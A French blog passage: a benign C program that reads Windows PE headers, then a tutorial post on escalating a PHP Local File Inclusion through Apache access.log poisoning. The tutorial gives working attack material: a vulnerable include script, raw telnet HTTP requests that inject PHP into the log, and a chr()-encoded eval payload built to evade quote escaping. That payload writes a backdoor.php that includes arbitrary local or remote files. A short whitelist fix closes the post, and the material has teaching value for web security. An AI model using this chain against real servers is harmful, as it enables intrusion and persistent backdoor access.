(Euh, Geo, et si on passait à la suite ? - D'accord)

Pour la suite, on a des données qui parlent de tables des symboles et d'en-têtes optionnelles du PE. Mais en parler ferait trop pour un Part I, et sachant que je débute depuis peu. Ca me fait mal au cerveau et je préfère y aller en douceur (quoi ? Je suis un noob ? mais euh...).

On va se quitter avec un programme de merde qui :
- Ouvre un fichier exe ;
- Dit si c'est un exe valide (en se basant sur la lecture du mot magique au début de l'en-tête PE) ;
- si c'est un exe valide, affiche son architecture (ici, que pour i386), son nombre de sections et sa date de compilation.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define UTILISATION printf("Utilisation : %s \n", argv[0]); \
exit(EXIT_FAILURE);
#define OFFSET_E_LFANEW 0x3C // L'offset absolu de l'en-tête NT
#define SIG_VALID_IMAGE_NT_HEADER 0x00004550 // 'PE#0#O' est la signature valide

int main(int argc, char **argv) {
if(argc < 2) {
UTILISATION
}

int sig,
offset_nt,
archi,
nsec,
tstamp;

FILE *fpe;
if((fpe = fopen(argv[1],"rb")) == NULL) {
printf("Impossible d'ouvrir l'executable %s !\n", argv[1]);
exit(EXIT_FAILURE);
}

fseek(fpe, OFFSET_E_LFANEW, SEEK_SET);
fread(&offset_nt, sizeof(int), 1, fpe);
fseek(fpe, offset_nt, SEEK_SET);
fread(&sig, sizeof(int), 1, fpe);
if(sig == SIG_VALID_IMAGE_NT_HEADER) {
printf("Executable valide !\n");

// On vérifie le type d'architecture
fread(&archi, sizeof(short int), 1, fpe);

// On lit le nombre de sections
fread(&nsec, sizeof(short int), 1, fpe);

// On lit le timestamp de compilation
fread(&tstamp, sizeof(int), 1, fpe);

if((short)archi == 0x014C) {
printf("[*] Architecture : i386\n");
}
printf("[*] Nombre de sections : %d\n"
"[*] Timestamp = %d - %s\n", (short)nsec,
tstamp, asctime(localtime((time_t*)&tstamp)));

} else {
// Si mot magique différent de 'PE#0#0'
printf("Executable invalide !\n");
}

return EXIT_SUCCESS;
}

(Source véritable : http://venom630.free.fr/geo/autre_chose/etude_pe/checkvalidpe_c.txt)

J'ai pas utilisé de structures, car j'aurais fait face à un souci de Data Structure Alignment ; un bon article expliquant ce souci a été écrit par Smoke : c'est ici. J'ai donc utilisé des variables individuelles, mais on se fiche de ça un peu. Ouais, ok, j'aurais pu utiliser windows.h pour me servir des types WORD et DWORD, mais on s'en fout aussi.

Conclusion


Je débute, et remerciement à Ivanlef0u qui m'a conseillé de partir de là si je voulais me tâter un peu sur la compréhension de ouinedouze ; je remercie aussi ceux qui me soutiennent (normal).

Et petit coucou à NiklosKoda qui galère sur son billard en pascal.

Geo

samedi 14 mars 2009

Les dangers d'une LFI (Local File Inclusion) en PHP : access.log

Bien le bonjour !
Afin de ne pas laisser le blog sombrer, parlons d'un concept de la sécurité en PHP : Local File Inclusion. On parle de faille, notamment parce qu'on peut inclure n'importe quoi sur le serveur local. On ne se contentera donc pas d'étudier le principe de RFI (Remote File Inclusion) qui constitue une faille extrêmement dangereuse, certes, mais qui est très facile à exploiter et à comprendre ; par ailleurs, je ne pense pas m'adresser à un public qui n'y connait rien...

Enfin, bref. Ca remonte aux vacances de noël, où je bouffais tranquillement un grec avec Heurs dans sa voiture. On parlait un peu de tout et de rien, puis il me sort qu'on peut injecter du code php arbitraire avec une LFI. Il m'a expliqué brièvement, j'ai mené des recherches de mon côté, et je suis arrivé à produire des résultats intéressants. ;)

Le principe est, en fait, de trouver le chemin du fichier access.log et de l'inclure. A quoi ça correspond donc ? A l'historiques des requêtes adressées à notre serveur. Sous linux, il peut se trouver dans plusieurs chemins différents en fonction des distributions. Sous une Debian c'est (de tête...) /var/logs/apache2/access.log ; sur un serveur ovh dédié, on a /usr/local/apache/logs/access.log, etc...

Pour ma part, j'utilise wamp - donc windows - et mon access.log se situe dans C:\wamp\logs\access.log


Voici une portion de contenu :


127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_tblimport.png HTTP/1.1" 200 280
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_edit.png HTTP/1.1" 200 451
127.0.0.1 - - [07/Dec/2008:15:42:43 +0100] "GET /phpmyadmin/themes/original/img/b_primary.png HTTP/1.1" 200 416


On peut, à partir de se fichier, savoir qui a demandé telle page à telle heure. En quoi le fait de l'inclure peut-il constituer une faille ? Car si on y injecte du PHP dedans et que nous appelons ce fichier par une LFI, ... Ca fait mal ! :)

Pour nous mettre en situation réelle, prenons un script php quelconque situé à la racine du site :

<?php
// mapage.php
if(isset($_GET['page']) && file_exists('./'.$_GET['page'])) {
include('./'.$_GET['page']);
} else {
// Blablabla...
}
?>


Allons maintenant à l'adresse : http://localhost/mapage.php?page=../logs/access.log ; on voit le contenu de notre fichier access.log. Pour y aller à l'aise, je vous conseille de vider le contenu de ce fichier.

Maintenant, si nous voulons réussir l'attaque, il faut injecter du php.

Essayons d'aller à cette adresse :
http://localhost/mapage.php?<?php echo 'coucou'; ?>

Puis revenons sur la page qui inclut access.log. Que constatez-vous ? Les caractères ont été encodés par le navigateur. Il faut donc utiliser des outils comme netcat, telnet, etc... Essayons en forgeant une requête type :

GET /mapage.php?<?php phpinfo(); ?> HTTP/1.1
Host: localhost
Connection: close



On balance la requête avec telnet, on retourne pour charger notre fichier access.log, et... Magie ! Notre code est interprêté sur le serveur distant.

On pourrait aller plus loin : exécuter un code qui va créer une page qui, elle-même, interprétera du code fourni en paramètre (GET, POST, etc...). Commençons par faire notre page qu'on souhaitera écrire sur le serveur distant :
<?php
if(isset($_GET['a']))
include($_GET['a']);
?>


Faisons maintenant le code qui va écrire ce code dans une page :
$fp = fopen('backdoor.php','w');
fwrite($fp, '<?php
if(isset(\$_GET[\'a\']))
include(\$_GET[\'a\']);
?>');
fclose($fp);



On s'emmêle les pinceaux, j'avoue, mais tout est bien coordonné. En fait, il suffira d'injecter le code ci-dessus dans notre URL avec telnet pour que le tour soit joué. Cependant, il faut penser à certaines parades côté serveur : et si les guillemets simples ou doubles étaient échappés ? Ca serait embêtant. On va donc encoder chaque caractère du code en sa version décimale, et passer le tout dans la fonction eval. Le script ci-dessous, exécuté en CLI (Command Line Interface) se charge de mâcher tout le travail : (merci NiklosKoda ! :P)
<?php

function stringtochar($string)
{
$char = 'chr(';
for($i=0 ; $i<strlen($string)-1 ; $i++)
$char .= ord(substr($string, $i, 1)).').chr(';
$char .= ord(substr($string, strlen($string)-1, 1)).')';
return $char;
}

echo stringtochar('$fp = fopen(\'backdoor.php\',\'w\');
fwrite($fp, \'if(isset($_GET[\\\'a\\\']))
include($_GET[\\\'a\\\']);
?>\');
fclose($fp);');

?>


Le script nous produit ce résultat :
chr(36).chr(102).chr(112).chr(32).chr(61).
chr(32).chr(102).chr(111).chr(112).chr(101).
chr(110).chr(40).chr(39).chr(98).chr(97).
chr(99).chr(107).chr(100).chr(111).chr(111).
chr(114).chr(46).chr(112).chr(104).chr(112).
chr(39).chr(44).chr(39).chr(119).chr(39).
chr(41).chr(59).chr(13).chr(10).chr(102).
chr(119).chr(114).chr(105).chr(116).chr(101).
chr(40).chr(36).chr(102).chr(112).chr(44).
chr(32).chr(39).chr(60).chr(63).chr(112).
chr(104).chr(112).chr(13).chr(10).chr(105).
chr(102).chr(40).chr(105).chr(115).chr(115).
chr(101).chr(116).chr(40).chr(36).chr(95).
chr(71).chr(69).chr(84).chr(91).chr(92).
chr(39).chr(97).chr(92).chr(39).chr(93).chr(41).
chr(41).chr(13).chr(10).chr(32).chr(32).chr(32).
chr(32).chr(105).chr(110).chr(99).chr(108).chr(117).
chr(100).chr(101).chr(40).chr(36).chr(95).chr(71).
chr(69).chr(84).chr(91).chr(92).chr(39).chr(97).
chr(92).chr(39).chr(93).chr(41).chr(59).chr(13).
chr(10).chr(63).chr(62).chr(39).chr(41).chr(59).
chr(13).chr(10).chr(102).chr(99).chr(108).chr(111).
chr(115).chr(101).chr(40).chr(36).chr(102).chr(112).chr(41).chr(59)

(tronqué sur plusieurs lignes).
Testons si le script suivant fonctionne :
<?php
eval(chr(36).chr(102).chr(112).chr(32).chr(61).
chr(32).chr(102).chr(111).chr(112).chr(101).
chr(110).chr(40).chr(39).chr(98).chr(97).
chr(99).chr(107).chr(100).chr(111).chr(111).
chr(114).chr(46).chr(112).chr(104).chr(112).
chr(39).chr(44).chr(39).chr(119).chr(39).
chr(41).chr(59).chr(13).chr(10).chr(102).
chr(119).chr(114).chr(105).chr(116).chr(101).
chr(40).chr(36).chr(102).chr(112).chr(44).
chr(32).chr(39).chr(60).chr(63).chr(112).
chr(104).chr(112).chr(13).chr(10).chr(105).
chr(102).chr(40).chr(105).chr(115).chr(115).
chr(101).chr(116).chr(40).chr(36).chr(95).
chr(71).chr(69).chr(84).chr(91).chr(92).
chr(39).chr(97).chr(92).chr(39).chr(93).chr(41).
chr(41).chr(13).chr(10).chr(32).chr(32).chr(32).
chr(32).chr(105).chr(110).chr(99).chr(108).chr(117).
chr(100).chr(101).chr(40).chr(36).chr(95).chr(71).
chr(69).chr(84).chr(91).chr(92).chr(39).chr(97).
chr(92).chr(39).chr(93).chr(41).chr(59).chr(13).
chr(10).chr(63).chr(62).chr(39).chr(41).chr(59).
chr(13).chr(10).chr(102).chr(99).chr(108).chr(111).
chr(115).chr(101).chr(40).chr(36).chr(102).chr(112).chr(41).chr(59)); ?>


Il marche. Il créé un fichier "backdoor.php" accessible. ;)

Il ne nous reste plus qu'à balancer notre requête :
GET /mapage.php?<?php eval(chr(36).chr(102).chr(112).chr(32).chr(61).chr(32).[...]chr(102).chr(112).chr(41).chr(59)); ?> HTTP/1.1
Host: localhost
Connection: close


On repasse ensuite sur http://localhost/mapage.php?page=../logs/access.log ; on constate qu'il ne se passe rien d'alarmant (pas d'erreur de php) ; Allons maintenant sur http://localhost/backdoor.php. La page existe. Si nous faisons http://localhost/backdoor.php?a=http://ghostsinthestack.org/index.php, on inclut le site de copain Heurs dans notre page (sans le CSS) ; tout ça pour dire qu'on a réussi.

Conclusion



La LFI est dangereuse. Pour la sécuriser, ce script suffirait :
<?php
if(!empty($_GET['page'])
&& preg_match('/^[a-zA-Z0-9]+$/',$_GET['page'])
&& file_exists('./pages/'.$_GET['page'].'.php')) {
include('./pages/'.$_GET['page'].'.php');
} else {
// Blablabla... Erreur
}
?>


Dès lors, il sera impossible, pour l'utilisateur, de naviguer dans un autre répertoire. Seul les pages présentes dans le dossier "pages" seront disponibles aux inclusions locales.

Petit article simpliste, mais voilà. Salut !


Geo